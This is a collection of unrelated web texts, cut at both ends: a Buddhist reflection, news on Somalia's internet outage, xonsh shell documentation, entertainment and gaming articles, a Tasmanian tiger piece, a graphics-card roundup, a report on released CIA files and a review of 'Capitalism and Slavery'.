righteously, other people do so as well. The entire kingdom rejoices if the king is righteous. – from AN 4:70, translated by Bhikkhu Bodhi In the book The Buddha’s Teachings on Social and Communal Harmony, by Bhikkhu Bodhi, there are a number of suttas that emphasize the importance of having a righteous leader, sometimes called a (Dharma) “wheel-turning monarch”. In the Buddha’s time, there were small monarchies in many parts of India, so it was pretty clear who was in charge of particular areas, and whether they were righteous or unrighteous. These monarchs were not elected and usually remained in power until they either died or were conquered in war. Our situation is less clear. Even if we live in a country with a monarch, who’s “in charge” can be ambiguous. Different groups of people make laws, enforce the laws, make judgments about the legality of laws, and often customs determine what actually happens, sometimes in spite of the laws of the land. The leaders of the different branches of government, most of the time, change regularly, which may cause citizens to feel confused about the prevailing rules and culture. How are we to manage? In our work or school environments, it’s clear that the person at the top influences the daily experience of staff and consumers. Sometimes we can influence others, and sometimes not, depending on how we are positioned. Many people in America think the President is in charge, and to some extent he is. Many others claim that God is in charge, but there’s no agreement about what that means. In many places, the local government provides the dominant political framework. Who are our leaders? Who is guiding our “herd”, at how local a level, and in what direction? At the local, national, and international levels, there are righteous leaders. Our choices of who those people are will vary, but there are good leaders in government and other institutions who can help us make sense of our world. If we follow the Dharma, our respected companions on the path can serve as our chiefs. And we can do our best to guide others in wholesome directions. Or the teachings of the Buddha can be our touchstone. We can ask ourselves: “If I follow this way, make this choice, do this action, would it be for the harm or benefit of myself and others?” Leading and following are human activities; sometimes we don’t even recognize when they’re happening. Who are we following? Who are we leading? To where? We can bring an awareness of these questions into our decision-making process, for the benefit of ourselves and others. -Shares , MOGADISHU, Jul 12 – Last month, a baby was born in the Somali capital Mogadishu with a terrible eye defect that requires treatment abroad. The infant was cleared for treatment in Turkey but before the paperwork was complete a container ship, believed to be the Panama-flagged MSC Alice, docked outside Mogadishu port, accidentally dragging its anchor through the main fibre optic cable connecting Somalia with the rest of the world. ADVERTISEMENT Since that evening of June 24 most of the Horn of Africa nation has been cut off from the web, costing it an estimated $10 million (nine million euros) a day in lost business according to the government, and freezing the lives of those, like the sick child, whose hopes depend on international connections. – Internet-enabled diaspora – There are a wealthy, fortunate few with the wherewithal to get online via satellite link-ups, but the vast majority of the 6.5 million people in Somalia’s south-central region are in the dark, said Mohamed Ahmed Jama, chief executive of Dalkom, a Somali telecommunications company that is part of the consortium providing the Eastern Africa Submarine Cable System. The blackout has wreaked havoc in Somalia, where decades of conflict have combined with irrepressible entrepreneurialism to create a far-flung diaspora of almost two million people who earn money abroad and send it home to their relatives. The internet is what connects these Somalis with Somalia. “In Somalia the telecommunications sector has thrived, even during some of the worst years of conflict,” said Ahmed Soliman, Somalia researcher at the Chatham House think tank in London. “Urban Somalis have become increasingly connected online since fibre-optic was rolled out in 2014.” The World Bank estimates that at $1.4 billion annually, international remittances make up a quarter of national GDP. Habiba Mohamud, a customer relations officer at Mogadishu’s International Bank of Somalia, said the international transfers department has been cut off since last month’s anchor incident. Mohamud has been personally affected too. Unable to check her email in recent weeks she struggles to communicate with her family, most of whom live in Nebraska in the United States. With international phonecalls expensive, she commonly gets in touch via the WhatsApp and Viber messaging services. “It has affected every part of my life: social life, family life, love life, work life,” Mohamud said. – Information means survival – The internet plays a still more existential role for residents of the seaside capital where al-Qaeda-linked Shabaab insurgents carry out regular attacks and where potentially life-saving information is shared fastest on social media and messaging networks. Hassan Istiila, chief editor of the local Radio Dalsan, which claims four million listeners, said Twitter is a key tool for gathering and broadcasting information on terror attacks and other events. Ships dragging anchors through undersea internet cables are not uncommon occurrences along Africa’s east coast and elsewhere — in 2012 six African countries were cut-off in one go — but they rarely take weeks to fully repair. More than a fortnight since the blackout the MSC Alice’s owner, Geneva-headquartered Mediterranean Shipping Company, said it was looking into the incident. “Following reports that an underwater cable was damaged, MSC is investigating the incident with other relevant parties and these investigations are at an early stage,” the company said in a statement. The Somali government and Dalkom hope engineers will have the cable fixed and internet services restored perhaps later this week. It will not come a moment too soon for Somalis whose lives are in limbo such as the sick child’s mother, for whom a downloadable visa form and online submission are all that stands between her child and medical care in Turkey. -the xonsh shell¶ ~ ~ Xonsh is a Python-ish, BASHwards-looking shell language and command prompt. The language is a superset of Python 3.4+ with additional shell primitives that you are used to from Bash and IPython. It works on all major systems including Linux, Mac OSX, and Windows. Xonsh is meant for the daily use of experts and novices alike. At a glance Installation¶ You can install xonsh using conda, pip, or from source. conda: $ conda install -c xonsh xonsh Note For the bleeding edge development version use conda -c xonsh/channel/dev xonsh pip: $ pip install xonsh source: Download the source from github (zip file), then run the following from the source directory, $ python setup.py install Arch Linux users can install xonsh from the Arch User Repository with e.g. yaourt or aura: yaourt: $ yaourt -Sa xonsh # yaourt will call sudo when needed aura: $ sudo aura -A xonsh If you run into any problems, please let us know! Comparison¶ Xonsh is significantly different from most other shells or shell tools. The following table lists features and capabilities that various tools may or may not share. Bash zsh plumbum fish IPython xonsh Sane language ✓ ✓ ✓ ✓ Easily scriptable ✓ ✓ ✓ ✓ ✓ Native cross-platform support ✓ ✓ ✓ ✓ Meant as a shell ✓ ✓ ✓ ✓ Tab completion ✓ ✓ ✓ ✓ ✓ Man-page completion ✓ ✓ Large standard library ✓ ✓ ✓ Typed variables ✓ ✓ ✓ ✓ Syntax highlighting ✓ in notebook w/ prompt-toolkit Pun in name ✓ ✓ ✓ Rich history ✓ Dependencies¶ Xonsh currently has the following external dependencies, Run Time: Python v3.4+ PLY prompt-toolkit (optional) Documentation: Sphinx (which uses reStructuredText ) Numpydoc Cloud Sphinx Theme -JACKSON, Mississippi -- Actor Dan Aykroyd has been sworn in as a reserve deputy with the Hinds County Sheriff's Department, according to a report in the Clarion-Ledger. Aykroyd is in Mississippi for his role in the movie "Get On Up," the film about the life of singer James Brown. Aykroyd plays the part of Ben Bart, Brown's manager for four decades. The movie is scheduled to premier in October. Aykroyd filled out a request to join the reserve unit and his request was granted. "My family fell in love with this state on the last trip down here," he said, adding that his wife is from Tennessee and Virginia and feels a Southern kinship with Mississippians. His daughter, a correspondent on Bluesmobile Radio, has been all over the state interviewing its residents. Aykroyd also said he wants to work to bring more attention to the needs of law enforcement agencies. "A lot of departments can't even afford ammunition for practice; it's that kind of tiny little challenge that you never think of," he said. "We're going to be aware of that and aware of maybe doing some programs and some fundraisers to supplement the resources of the department here." -Ad astra, per aspera. "Through hardships to the stars." We've finally done it. Our Civilization has finally broken the chains of history and gone to the stars. Lo, how those digital stars sparkle. I got my hands on an early build of the latest Civilization game, "Beyond Earth," which brings the longstanding 4X series to outer space. No, it's absolutely not Alpha Centauri. Seriously, it's not. Forget that Sid Meier helmed both games, and that Alpha Centauri was basically Civilization in Space. It's not Alpha Centauri. Because then 2k would be sued. Well in that case Okay, did all the lawyers stop reading? Great. Civilization: Beyond Earth is basically a sequel to Alpha Centauri—a "spiritual successor," let's say. There's not much to prevent people from making the inevitable comparisons. While the 4x genre has evolved in the fifteen years since Alpha Centauri's release, it hasn't evolved that much. You could go play Alpha Centauri right this moment and outside of cringing at the outdated interface and the square tiles (seriously, how did we live without hex-based maps for so long?), you'd probably be able to hold your own. So if Alpha Centauri was Sid Meier and Co. making Civilization II in space, Beyond Earth is Sid Meier and Co. making Civilization V in space. It's an oversimplification, perhaps, but not by much. If you feel comfortable with Civilization V, you'll feel comfortable with Beyond Earth's hex-based maps and one-unit-per-tile combat. I played through the first 55 turns of Beyond Earth—otherwise known as the "barely anything is happening" phase—but it was enough to hit on a few observations. Hands-on with Civilization: Beyond Earth The biggest change: There are two maps to pay attention to simultaneously. Most of the action plays out on the planet's surface, like a normal Civ game, but there's also an "orbital layer" where you'll direct satellites and the like. I assume there will be orbital weapons in later builds, but all we were shown was a satellite that buffs ground troops. The traditional "tech tree" is also gone, replaced with a "tech web." Technologies towards the center of the web are grounded in near-future developments or even current fields like biology, chemistry, et cetera. Expand toward the fringes of the (very large) web and you'll find speculative technology and the realms of science fiction. Additionally, each technology on the web is accompanied by sub-technologies, giving you more room to specialize in a given field. That's how they git you. They're under the ground! Where Civilization V has neutral tribes and independent city-states on the map, Beyond Earth has roaming alien life-forms. As a Civilization veteran your first instinct may be "I have to kill all these organisms." Mine certainly was. This is absolutely a mistake. These aliens are not automatically hostile, and will utterly destroy and overwhelm your troops with sheer numbers in the early game. Later in the game the developers say you'll be able to harness these aliens. The most obnoxious aliens are the Seige Worms: Large, drill-like worms a la "Dune" that completely wreck any tile improvements you've built. There are three primary alignments in the game—Purity, Harmony, and Supremacy. You'll edge towards these affinities through the technologies you research, and ultimately this will affect your win conditions each game. Those who follow "Purity" believe humanity is best preserved by turning this new planet into Earth, through terraforming and the like. "Harmony" followers hope instead to live in symbiosis with the new planet's life-forms. Those on the path to "Supremacy" think it's foolish to be tied down to a single planet, and hope to conquer humanity's own weaknesses and form a global empire. Yes, "kill them all" is still a valid victory tactic. Each affinity has its own long-term project for a win condition. Supremacy, the most militaristic win condition, requires eventually going back and conquering the Earth you left behind. Purity players will instead bring Earth's population to this new, terraformed planet. Harmony followers will merge with the planet and create a planet-wide consciousness. Then there are the two other non-alignment win conditions. The "Contact" ending involves unraveling the history of the planet's former inhabitants and, like a futuristic Jodie Foster, bringing humanity in touch with the aliens. And no Civilization game would be complete without the option to just wipe every other faction off the face of the planet, you warmongering monster. Beyond Earth attempts to guide you through the game more than past titles, using an overhauled dynamic quest system. I didn't see much beyond the basics in my 55 turns—mostly just "Try to get a unit to this square and see what happens!" type quests—but Firaxis promises it will react to how you're playing and try to both guide you down your current path and prompt you to explore other possibilities. Also, it's apparently an incredibly moddable system, and the developers said they're "excited to see what fans do." So here we are, back where we started: It all looks like Civilization. But in space. Exactly like you expected. It's hard to get a real feel for a 4X game with only 55 turns—I'd barely researched four technologies when my time with the game was up. Even in 55 turns, however, our room full of journalists had already gone down wildly different paths. I'd given up on forming an army and focused on production. Another journalist in my group had built up an entire legion of troops and marched on the nearest city already. It's a 4X game. It's a Civilization game. We might be "Beyond Earth," but we're definitely not beyond the tropes of the genre—not yet, anyway. I expect you already know whether this type of game will appeal to you, and can (barring any technical disasters or unforeseen development issues) plan accordingly. -The Tasmanian Tiger The Tasmanian tiger, or Thylacine, was the apex predator of Australia for a time, native to the islands of Tasmania and New Guinea, as well as the mainland. Despite being discovered by the British when they arrived to settle Australia and being taken into captivity, the Tasmanian tiger is incredibly mysterious and wasn’t well studied before going extinct. A pouch-laden marsupial like the kangaroo, Tasmanian tigers are a little backward—literally. Their pouch opened from the back instead of the front and appeared on both male and female tigers. It got its name from the stripes along its back, though it is entirely unrelated to ordinary tigers. Tiger Hunting Though the species was discovered in 1808, it seems that the poor Tasmanian tiger was already struggling to survive. It had become near-extinct everywhere but Tasmania by this time. Adapted to survive in the food-scarce jungles, these tigers prowled the underbrush eating anything they could get their jaws on, including kangaroos, wombats, bandicoots, and emus. The species proved an immediate threat to the interests of settlers and was superstitiously thought to be a blood drinker, sucking the blood from farmer’s sheep. The added competition of dingoes on the island, as well as the arrival of diseases carried by dogs severely threatened Thylacines. This would-be chupacabra became the target of organized hunts, and possibly a smear campaign that used a staged photo to coerce settlers into pursuing the creatures. Bounties paying up to £1 per tiger head were issued by the Tasmanian government, and the last wild Thylacine was shot in 1930. Life in Captivity A few of the Tasmanian tigers had been placed in zoos, but they didn’t fare well, getting sick, and sometimes refusing to eat. Only one attempt to breed them in captivity was successful. Transferring the animals to zoos outside the continent was difficult and expensive, and some even ended up in sideshows and traveling menageries. The last tiger died in captivity at the Hobart Zoo in 1936. Nicknamed “Benjamin,” it is believed he died of neglect, being locked outside of his shelter during swelteringly hot days and freezing cold nights. The Hunt for the Ghost Tiger Though Benjamin is recognized officially as the last Tasmanian tiger, rumors of their presence and unsubstantiated sightings persisted in Tasmania for another 50 years. The hunt for the Tasmanian tiger since its extinction has been almost as fervent as the hunt that led to its destruction. Now regarded as a cryptid alongside the Loch Ness Monster and Himalayan Yeti, Tasmanian tiger sightings and photos never pass the muster of thorough examination. Media magnate Ted Turner has even offered a $100,000 reward for proof the animal still lives, spurring a generation of hunters searching for an elusive Tasmanian tiger. They continue their search to this day, and “sightings” are reported every year. -Actor Wil Wheaton, known for his roles in Star Trek: The Next Generation, Lost and The Big Bang Theory made a few interesting comments on his blog. He says that piracy isn’t as evil as Hollywood claims and believes that Internet providers shouldn’t mess with people’s BitTorrent traffic. “I believe in network neutrality, I don’t believe that piracy is the end of the world as we know it (I particularly don’t believe that a download or file shared automatically equals a lost sale*) and I don’t believe in crippling the Internet to protect a business model that desperately needs to change.” Net Neutrality should be guarded according to Wheaton, who accuses Hollywood lobby groups for wanting to shut is down. “Some ISPs are blocking all bittorrent traffic, because bittorrent can be used to share files in a piratical way. Hollywood lobbying groups are trying to pass laws wich would force ISPs to block or degrade bittorrent traffic, too.” “Personally, I think this is like closing down freeways because a bank robber could use them to get away, which I know is an imperfect comparison, but is the best I can do after a night of not-especially-good sleep.” Wheaton the goes on to show his readers how to download a Linux distro. And seed it properly. You can read the rest of Wil’s thoughts on his blog. -President Trump waved a supporter’s sign that read “Keep on tweeting!” as he arrived in Palm Beach, Fla., to spend the Christmas holiday at his Mar-a-Lago resort. The video footage, obtained by ABC News, shows Trump holding the sign above his head amid a crowd of supporters. Pres. Trump holds up a "Keep on Tweeting!" sign after landing at Palm Beach for the holiday weekend. https://t.co/CFdzczE0fE pic.twitter.com/Qnoh4ahYJR — ABC News Politics (@ABCPolitics) December 22, 2017 Trump is notorious for his Twitter habits, and has sparred with political figures including Sens. Bob Corker, R-Tenn., and Jeff Flake, R-Ariz., on the social media platform. He has also endorsed various individuals, including failed GOP Alabama Senate candidate Roy Moore, via Twitter. Trump traveled to Florida after signing the Republican tax bill that passed through Congress earlier in the week. “It will be an incredible Christmas gift for hardworking Americans,” Trump said during the signing on Friday. Trump also spent the Thanksgiving holiday at the Mar-a-Lago. -Colin Trevorrow. Earlier this week, a disturbance in the Force triggered paroxysms of anguish and confusion across the galaxy. That is to say, since the Tuesday announcement of Colin Trevorrow’s firing as director of Star Wars: Episode IX (with Lucasfilm reaching the conclusion that his and the company’s “visions for the project differ”), Hollywood’s chattering class has been trying to figure out: How did this bona fide blockbuster filmmaker come to be laid so low? Conspiracy Theory A maintains that The Book of Henry — Trevorrow’s critically mauled, commercially stillborn art-house passion project — which arrived as the June follow-up to his $1.6-billion-grossing sophomore co-writing/directorial effort Jurassic World — may have given Lucasfilm cold feet. Star Wars remains, after 40 years, eight films, and a combined $7.5 billion at the box office, arguably moviedom’s most valuable intellectual property. And Henry’s craptacular reception exposed glaring liabilities in the director’s ability to make the jump to lightspeed, as the thinking goes. But to hear speculation from a ranking Hollywood movie insider with direct knowledge of the productions on both The Book of Henry and Jurassic World (and who requested anonymity out of concern for sensitive ongoing business relationships), Trevorrow’s firing may have come more directly as a consequence of being “difficult.” “During the making of Jurassic World, he focused a great deal of his creative energies on asserting his opinion,” the executive explains. “But because he had been personally hired by Spielberg, nobody could say, ‘You’re fired.’ Once that film went through the roof and he chose to do Henry, [Trevorrow] was unbearable. He had an egotistical point of view— and he was always asserting that.” Then, during preproduction on Episode IX, Trevorrow’s relationship with Lucasfilm top brass became reportedly “unmanageable” over the course of “repeated stabs at multiple drafts” of the script. “When the reviews for Book of Henry came out, there was immediately conjecture that Kathy was going to dump him because they weren’t thrilled with working with him anyway,” the executive continues. “He’s a difficult guy. He’s really, really, really confident. Let’s call it that.” Kathy, of course, is eight-time Academy Award–nominated Lucasfilm president/Star Wars brand manager Kathleen Kennedy, who found herself beneath the red-hot scrutiny of Movie Twitter in June after firing co-directors Phil Lord and Chris Miller from the Han Solo spinoff prequel. And in terms of that surfeit of self-belief, Trevorrow admitted to as much in an interview with Esquire in 2015. “Directors require a level of confidence that can border on the delusional,” Trevorrow said. “You have to push it right up to the edge of arrogance, but never cross the line.” Which really would be nothing new in an industry where gigantic egos are as common as Tesla Xs, and directors convinced of their own Kubrickian greatness come a dime a dozen. But by the point of his supernova success with Jurassic World, it’s worth noting Trevorrow had become inextricably linked to the scourge of white male privilege in Hollywood. In an era when men are almost 12 times more likely to direct movies than women, and minorities continue to lose ground as directors (according to the 2017 Hollywood Diversity Report), he landed the coveted Jurassic job on the strength of a single film, the quirky 2012 Sundance sci-fi dramedy Safety Not Guaranteed. This evolved into such an inescapable talking point, Trevorrow even admitted to the Los Angeles Times, “[It] hurts my feelings when I’m used as an example of white male privilege.” Still, the decision to bounce him from the project ultimately fell to Kennedy, who, five years into her Lucasfilm tenure, is showing less and less compunction about firing or replacing directors she feels are temperamentally or creatively unsuited to the job, having also overseen the resignation of Fantastic Four director Josh Trank from another stand-alone Star Wars film in 2015. “There’s one gatekeeper when it comes to Star Wars and it’s Kathleen Kennedy,” says a veteran movie producer, who has worked with the studio chief. “If you rub Kathleen Kennedy the wrong way — in any way — you’re out. You’re done. A lot of these young, new directors want to come in and say, ‘I want to do this. I want to do that.’ A lot of these guys — Lord and Miller, Colin Trevorrow — got very rich, very fast and believed a lot of their own hype. And they don’t want to play by the rules. They want to do shit differently. And Kathleen Kennedy isn’t going to fuck around with that.” -Today, we’re rounding-up the best GTX 1080 Ti graphics cards that we’ve reviewed this year, including categories of Best Overall, Best for Modding, Best Value, Best Technology, and Best PCB. Gaming performance is functionally the same on all of them, as silicon variance is the larger dictator of performance, with thermals being the next governor of performance; after all, a Pascal GPU under 60C is a higher-clocked, happier Pascal GPU, and that’ll lead framerate more than advertised clocks will. Rounding-up the GTX 1080 Tis means that we’re primarily going to be focused on cooler and PCB build quality: Noise, noise-normalized thermals, thermals, and VRM design are the forefront of competition among same-GPU parts. Ultimately, as far as gaming and overclocking performance, much of that is going to be dictated by silicon-level quality variance, and that’s nearly random. For that reason, we must differentiate board partner GPUs with thermals, noise, and potential for low-thermal overclocking (quality VRMs). Having gone over the best CPUs , cases , some motherboards , and soon coolers, we’re now looking at the best GTX 1080 Tis of the year. Contrary to popular belief, the model of cooler does actually matter for video cards. We’ll be going through thermal and noise data for a few of the 1080 Tis we’ve tested this year, including MOSFET, VRAM, and GPU temperatures, noise-normalized performance at 40dBA, and the PCB and VRM quality. As always with these guides, you can find links to all products discussed in the description below. All Our GTX 1080 Ti Reviews Best Overall: ASUS ROG Strix GTX 1080 Ti Buy the ASUS ROG Strix GTX 1080 Ti here. Find our review of the ASUS ROG Strix here. The first award is the most important, and is assigned for the best overall combination of thermal and noise performance. Across all tested thermal categories – that’d be VRAM, MOSFET, and GPU diode temperatures – we found the ASUS Strix 1080 Ti (Amazon) to be the most consistent and impressive in its performance. Our review found that the Strix keeps its core temperature low, but also manages to keep VRAM and VRM thermals equally and proportionally low, which can’t be said for a lot of other coolers. A lot of this comes down to the mounting plates for the heatsink, and then the fact that ASUS is actually leveraging the mass of its 2.5-slot heatsink. Fin design, pitch, and density permit good airflow through the heatsink, and the shroud doesn’t trap the air inside of the cooler. The only category where the Strix cooler loses some ground is that of size – but size and cooling-to-noise performance are largely mutually exclusive. At 2.5 slots, some users may instead require a 2-slot card to better accommodate build needs. For a single-card build, though, this isn’t generally a concern. Honorable Mention: MSI 1080 Ti Gaming X Buy the MSI 1080 Ti Gaming X here. Find the MSI 1080 Ti Gaming X review here. We want to give an honorable mention to MSI and the 1080 Ti Gaming X (Amazon), here: The Twin Frozr cooler remains the most effective dual-fan solution we’ve tested this year, and is able to leverage its larger fans to spin at lower, quieter RPMs than some of its competition. The Twin Frozr design isn’t the best by raw numbers, but has an excellent mix of noise-to-cooling performance, and manages this at a lower price than some of the flat-out best coolers, like the Strix. That price reduction matters, and to offer a competitive cooler at a lower price, MSI gets an honorable mention. We are interested to see how the company improves its dual-fan design for 2018. Best for Modding: MSI GTX 1080 Ti Armor Buy the MSI GTX 1080 Ti Armor here. (Note: Currently overpriced, at time of posting. Wait til it’s $700-$720) Find the MSI GTX 1080 Ti Armor review here. This next category, “Best for Modding,” could also be taken to mean “most room for improvement.” The MSI GTX 1080 Ti Armor (Newegg) was originally a $700, bottom-of-the-barrel GTX 1080 Ti, and it was for good reason: We found the stock cooler to be abysmal in its performance, and noted that the cooler was highly similar – though not entirely the same – as the coolers on the MSI GTX 1070 Armor cards. The upshot of this, though, is that you could get a very cheap, very good PCB and VRM for entry-level 1080 Ti prices. The best-kept secret of 1080 Tis is that the GTX 1080 Ti Armor, for all its faults, actually has the Gaming X PCB. The Gaming X PCB uses 16 5018SGs hooked up to 8 inductors, controlled by 8 driver ICs, and results in an 8-phase VRM with 4 MOSFETs per phase. The Fairchild dual-FET packages contain both the high-side and low-side FETs, and this overbuilt VRM outputs just 15W of heat under a typical 250A load, or 40W of heat under a 400A OC, assuming 125C and 300KHz switching frequency. If you’re hoping to buy a 1080 Ti and convert it to a liquid-cooled card – something that we tested with this very card – this is one of the best options. You’re discarding the cooler anyway, so don’t spend big on one; get a cheaper cooler, like the one on the Armor, and a good PCB. In our testing with a closed-loop cooler, the Armor PCB became one of the best cards on our thermal charts, while also retaining one of the better PCBs. You definitely wouldn’t want this thing with its stock cooler, but it’s primed for modding. Best Technology: EVGA ICX Series Buy the EVGA GTX 1080 Ti SC2 ICX here (Amazon). Find our EVGA GTX 1080 Ti FTW3 review here. Our next category is for Best Technology, which is assigned to the card that made the biggest contribution to the underlying tech in an AIB partner card for 2017. This one goes to the EVGA ICX cards (Amazon), responsible for implementing NTC thermistors across the entire PCB, improving VRM cooling by increasing baseplate surface area, and significantly overhauling ACX after the Great Thermal Pad Incident of 2016. Video cards don’t change much generationally, so to see a company move to install thermistors on critical non-GPU components is big. It may not seem like it to the average user, but if you think about it from a testing perspective, ICX gives us new tools to improve thermal testing accuracy of aftermarket coolers, water cooling blocks, and validate our own external case temperature measurements of VRMs with NTC thermistor measurements. ICX has become a tool for benchmarking, as it’s easy to measure temperatures of components that would usually go unrecognized. This comes at a time when other manufacturers have dropped the ball on VRM thermals, like Zotac with the Amp Extreme and its poor thermal performance when compared to the sheer mass of the cooler. As GPUs continue to reduce power consumption and cards get smaller, temperatures of components other than the GPU core become increasingly relevant. ICX complements what we do with our own thermocouples, and has become an important tool for testing other cooler designs. Best Value: MSI GTX 1080 Ti DUKE (and EVGA SC Black) Buy the MSI GTX 1080 Ti DUKE here. Our next award is for Best Value. Thus far, other than the Armor, a lot of these cards have been in the $750 to $800 range. You definitely don’t need a card that expensive to still get the same framerates, and acoustic or thermal performance aren’t universally important to people. We were split between the 1080 Ti SC Black and 1080 Ti Duke, but given the current pricing market, the MSI Duke is winning. This card ranges from $735 to $750, depending on rebates and sales, and ends up priced about where the Gaming X used to be, before the mining craziness. The SC Black used to be closer to $720, but is unfortunately out of stock at that price or boosted to $750 now, making the Duke a bit cheaper. For pure value, we’d recommend considering the Duke. Best PCB: Galax HOF On the opposite side of the value argument, we also wanted to point out the Best PCB and VRM. This isn’t something that 99% of users will ever need, but if you’re going for heavy overclocking, the Galax GTX 1080 Ti HOF video card is among the top-tier cards. Buildzoid of Actually Hardcore Overclocking worked on this card, and believes it to be the best PCB of the 1080 Tis. The Galax HOF VCore VRM is a 16-phase VRM which, to quote Buildzoid, is “ridiculous” and “absolutely insane.” The Galax HOF uses an IR 3595 voltage controller in 8-phase mode, using a doubling scheme on the 16-phase setup for this card. The VRM ends up with 40W of heat dissipation at 400A, or 54W at 500A, both of which are reasonably controllable with targeted and active cooling. Find Buildzoid’s Galax HOF review here. Dumbest Trend The Dumbest Trend award goes to gigantic heatsinks. In what can only be described as a measuring contest, some manufacturers have continued to increase the mass and physical size of their GPU coolers, often with minimal gain in thermal performance, or in noise-normalized performance. What’s worse, a lot of these massive coolers overlook cooling basics, like physically connecting hot VRM components to the oversized heatsink – sort of the entire point of a big cooler, really. Stretching into 3-slot designs with 3 pounds of metal doesn’t make the cooler automatically good. It just means it’s big, and oftentimes, not at all worth the added cost to buy. There are a lot of good 2.5-slot designs out there, like MSI’s Twin Frozr and ASUS’ Strix coolers, and cards like the Gigabyte Xtreme or Zotac Extreme are larger than each of these, yet worse in thermal performance. This comes down to smart design, as opposed to just using more metal for the sake of looking bigger. That’s all for this one. Check our other round-ups here: More to come soon. Editorial, Testing: Steve Burke Video: Andrew Coleman -Image copyright Science Photo Library Image caption The documents include records of UFO sightings About 13 million pages of declassified documents from the US Central Intelligence Agency (CIA) have been released online. The records include UFO sightings and psychic experiments from the Stargate programme, which has long been of interest to conspiracy theorists. The move came after lengthy efforts from freedom of information advocates and a lawsuit against the CIA. The full archive is made up of almost 800,000 files. They had previously only been accessible at the National Archives in Maryland. The trove includes the papers of Henry Kissinger, who served as secretary of state under presidents Richard Nixon and Gerald Ford, as well as several hundred thousand pages of intelligence analysis and science research and development. More on the CIA CIA head warns Trump to watch his tongue CIA tip-off 'led to Mandela's arrest' Four ways the CIA has meddled in Africa Among the more unusual records are documents from the Stargate Project, which dealt with psychic powers and extrasensory perception. Those include records of testing on celebrity psychic Uri Geller in 1973, when he was already a well-established performer. Memos detail how Mr Geller was able to partly replicate pictures drawn in another room with varying - but sometimes precise - accuracy, leading the researchers to write that he "demonstrated his paranormal perceptual ability in a convincing and unambiguous manner". JFK and the rise of conspiracy theories Image copyright CIA Image caption One set of documents details results of psychic tests on Uri Geller, where he attempted to copy drawings made by researchers from within a sealed room Other unusual records include a collection of reports on flying saucers, and the recipes for invisible ink. While much of the information has been technically publicly available since the mid-1990s, it has been very difficult to access. The records were only available on four physical computers located in the back of a library at the National Archives in Maryland, between 09:00 and 16:30 each day. Image copyright CIA Image caption Recipes for invisible ink A non-profit freedom of information group, MuckRock, sued the CIA to force it to upload the collection, in a process which took more than two years. At the same time, journalist Mike Best crowd-funded more than $15,000 to visit the archives to print out and then publicly upload the records, one by one, to apply pressure to the CIA. "By printing out and scanning the documents at CIA expense, I was able to begin making them freely available to the public and to give the agency a financial incentive to simply put the database online," Best wrote in a blog post. In November, the CIA announced it would publish the material, and the entire declassified CREST archive is now available on the CIA Library website. -In his classic work “Capitalism and Slavery” Eric Williams exposed in vivid detail a fact that the west would like to forget. The west owes it’s wealth in large part to slavery (and genocide of course). It was slavery that funded the industrial revolution. Not in some abstract way but quite literally the famous Watt engine (The first steam engine) was funded with money from the West Indian sugar plantations. Many of Europe’s great fortunes owe themselves to slavery. Williams wrote his book long ago in 1942 but the facts he revealed have been intentionally ignored ever since. Thus only recently historians have rediscovered what Williams wrote about back then. Williams work is a classic of both Marxist analysis and black history. Actually Marx himself had noted the role of Slavery in fueling the rise of Capitalism. Williams focuses his work on the relationship between British capitalism and slavery, but he also deals with the role slavery played in funding the rise of France and the US. Those interested in the role of slavery in fueling France should read C. L. R. James classic “Black Jacobins” which I discussed in my August 2015 article “Revolution in Haiti”. Williams charts the economic history of slavery fueling the expansion of commercial capitalism, leading to the rise of Industrial Capitalism. Lavery Williams argues was abolished in England not purely for the moral reasons cited at the time but simply as part of the triumph of free trade over mercantilism. Slavery was abolished in the British empire but ended up being “outsourced” to Latin America and the United States. Slave grown cotton would fuel the industrial revolution of the 19th century just as the profits from slave grown sugar had fueled the 18th century. Anti-Slavery would become a cover for British Imperialism as it expanded in India, and would serve as the excuse for the conquest of Africa later in the century. Actually I’m currently reading Gerald Horne’s “Negro Comrades of The Crown” which deals with the great use England made of the slavery issue against it’s american rivals mobilizing slaves to rise up against their masters during the war of 1812 or using black troops (former slaves) to defend Canada. It’s another masterpiece but lets return to Eric Williams Classic work which has inspired (and doubtless been plagiarized by) so many recent historians. I should mention that Eric Williams later became the Prime Minister of Trinidad and Tobago an important biographical detail. “Capitalism and Slavery” begins by examining the origins of slavery. Slavery arose out of the economic necessity for labor. First to be enslaved were the Natives but they died quickly, or knowing the local territory often escaped. Ironically next it would be the turn of the whites who were forced into servitude. In a detail especially relevant today with the rise of mass incarceration state as Glen Ford calls it was the way the legal system was used to force the whites into servitude for a variety of petty crimes. They were given the choice of deportation and servitude or a hanging. However servitude was temporary not permanent. In addition the english poor mounted violent resistance against the “spirits” as they called those who kidnapped people into servitude anyone they suspected could easily be killed by an angry mob. In the colonies it was much easier for a white in servitude to run away and pass for free. Williams offers a vivid picture of the terrible conditions faced by those in servitude who were also packed into ships in only slightly better conditions then the slaves, and reminds his readers that it was perfectly legal for masters to beat their white servants both in England and it’s colonies. Africa became the new source for forced labor and their slavery was usually permanent. I should explain There were two types of colonies. First Those with poor soils and little resources like the northern US or Canada. Ironically this would later be to their advantage as they were forced to become diversified self sufficient economies. However the second type colonies with rich soils or natural resources could be used for quick and easy profits by producing a single crop. In the 17th and 18th centuries one extremely valuable cash crop was sugar cane. Sugar was the Oil of it’s day with the introduction of tea and coffee back in Europe there was ever growing demand for sugar. The most efficient way to cultivate it was on large plantations. Since it was so valuable it was cheaper to just import food with the profits so as much land as possible could be dedicated to sugar cultivation. It was the islands of the west indies like Jamaica, Haiti, Cuba, and Barbados that were ideal for growing it. Sugar Cane exhausted the soil which would be an important factor in the future. The British West Indies were far more valuable then the mainland in the amount of profits it generated. The British West Indies were at one point 4 times as valuable as all the other British colonies combined. The Growth of the still colonial future northern united states was fueled by providing the food and supplies for these islands which generated enormous fortunes. Those plantation owners who got rich in the sugar returned to England where they formed the powerful “West Indian Interest” as Williams called it which bought a number of famous english politicians like Gladstone and the famous conservative Burke. They used their political muscle to enforce a sugar monopoly forcing England to buy it’s more expensive west indian sugar instead of the cheaper sugar from France’s newer and hence more fertile Caribbean colonies. This would later be their downfall but for a time they would rule England and their enormous fortunes would fund the industrialization of England. But it was not merely the wealthy plantation owners of the colonies that made their fortunes off of slavery. The economic growth of the English cities was closely tied to slavery as Williams documents in extensive detail. Liverpool owed it’s fortune in the slave trade. They supplied not just english colonies with slaves but their Spanish and French competitors. It was well known at the time and once when a visiting (and intoxicated) actor was being heckled he shouted back that he refused to be insulted in a town built entirely on the blood of slaves. From it’s humble beginnings with a single slave ship stetting sail in 1709 by 1795 Liverpool controlled 5/8 of the British Slave Trade and 3/7 of the whole european slave 